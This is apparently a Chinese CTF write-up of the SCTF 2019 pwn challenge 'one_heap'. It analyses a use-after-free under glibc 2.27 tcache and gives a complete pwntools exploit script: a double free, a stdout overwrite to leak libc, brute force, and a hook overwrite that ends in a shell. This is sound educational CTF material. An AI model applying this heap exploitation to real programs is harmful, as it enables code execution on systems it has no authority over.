one_heap

发表于 2021-01-04 分类于 Challenge， 2019， SCTF， Pwn
Challenge | 2019 | SCTF | Pwn | one_heap

点击此处获得更好的阅读体验

解题思路

题目看起来并不难，逻辑很简单，并且给了libc是2.27的所以自然的联想到又tcache，接下来进行详细的分析。

静态分析

main

逻辑很简单这里我进行了一个函数名的改变看起来清楚一点

```
1  void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
2  {
3    int i; // eax
4    flash();
5    while ( 1 )
6    {
7      for ( i = menu(); i != 1; i = menu() )
8      {
9        if ( i != 2 )
10         exit(0);
11       delete();
12     }
13     add(a1, a2);
14   }
15 }
```

menu

简单的choice逻辑没有什么问题

```
1  __int64 sub_C70()
2  {
3    unsigned __int64 v0; // ST08_8
4    __int64 result; // rax
5    unsigned __int64 v2; // rt1
6    v0 = __readfsqword(0x28u);
7    puts("1. new");
8    puts("2. delete");
9    _printf_chk(1LL, "Your choice:");
10   v2 = __readfsqword(0x28u);
11   result = v2 ^ v0;
12   if ( v2 == v0 )
13     result = sub_C10();
14   return result;
```

delete

这里是主要的问题点，存在一个uaf的漏洞但是同样对free的次数存在限制总共只能free 4次，然后free的时候是没有idx选择，每次ptr位置只有一个堆块的地址。

```
unsigned __int64 sub_D90()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-10h]
  v1 = __readfsqword(0x28u);
  if ( !dword_202014 )
    exit(0);
  free(ptr);
  puts("Done!");
  --dword_202014;
  return __readfsqword(0x28u) ^ v1;
}
```

add

这里任意malloc的大小存在限制，并且malloc的数量也是固定的，然后malloc后可以读入堆。

```
unsigned __int64 add()
{
  unsigned int v0; // eax
  size_t v1; // rbx
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]
  v3 = __readfsqword(0x28u);
  if ( !dword_202010 )
LABEL_5:
    exit(0);
  _printf_chk(1LL, "Input the size:");
  v0 = sub_C10(1LL, "Input the size:");
  v1 = (signed int)v0;
  if ( v0 > 0x7F )
  {
    puts("Invalid size!");
    goto LABEL_5;
  }
  _printf_chk(1LL, "Input the content:");
  ptr = malloc(v1);
  sub_B70(ptr, v1);
  puts("Done!");
  --dword_202010;
  return __readfsqword(0x28u) ^ v3;
}
```

思路分析

1. *因为存在tcache所以这里double free利用起来会比较顺手，但是存在一个问题如何去leak。这里参考了HITCON2018的baby_tcache的leak思路，是利用覆盖stdout的write_buf实现的。*
2. *还有个问题如何能染tcache被malloc到那个位置，这里我采用的是利用堆和code段偏移来爆破几率大概是在1/4096，这个几率真的看脸了。。。*
3. *再去改写malloc_hook，这里会发现3个one都没有办法用，所以只能用realloc的trick来调整栈去getshell。*

   这里调试可以吧本地随机化关了，如果预期解是这样的话。。我就真的没话说了，如果这是非预期。。（对不住了出题人。。

EXP

```
from pwn import*
context.log_level = "debug"
p = process("./one_heap")
a = ELF("./libc-2.27.so")
#p = remote("47.104.89.129",10001)
gdb.attach(p)
def new(size,content):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input the size:")
    p.sendline(str(size))
    p.recvuntil("Input the content:")
    p.sendline(content)
def remove():
    p.recvuntil("Your choice:")
    p.sendline("2")
def new0(size,content):
    p.recvuntil("Your choice:")
    p.sendline("1")
    p.recvuntil("Input the size:")
    p.sendline(str(size))
    p.recvuntil("Input the content:")
    p.send(content)
new(0x60,"aaa")
remove()
remove()
new(0x60,"\x20\x60")
new(0x60,"b")
raw_input()
new(0x60,"\x60\x07")
pay = p64(0xfbad1880) + p64(0)*3 + "\x00"
new(0x60,pay)
libc_addr = u64(p.recvuntil("\x7f")[8:8+6].ljust(8,"\x00"))-0x3ed8b0
print hex(libc_addr)
malloc_hook = a.symbols["__malloc_hook"]+libc_addr
relloc_hook = a.symbols["__realloc_hook"]+libc_addr
print hex(malloc_hook)
one = 0x4f2c5+libc_addr
print one
new(0x50,"a")
remove()
remove()
new(0x50,p64(relloc_hook))
new(0x50,"peanuts")
new(0x50,p64(one)+p64(libc_addr+a.sym['realloc']+0xe))
print hex(one)
new(0x30,"b")
p.interactive()
```


 # Challenge # Pwn # 2019 # SCTF

easywasm

two_heap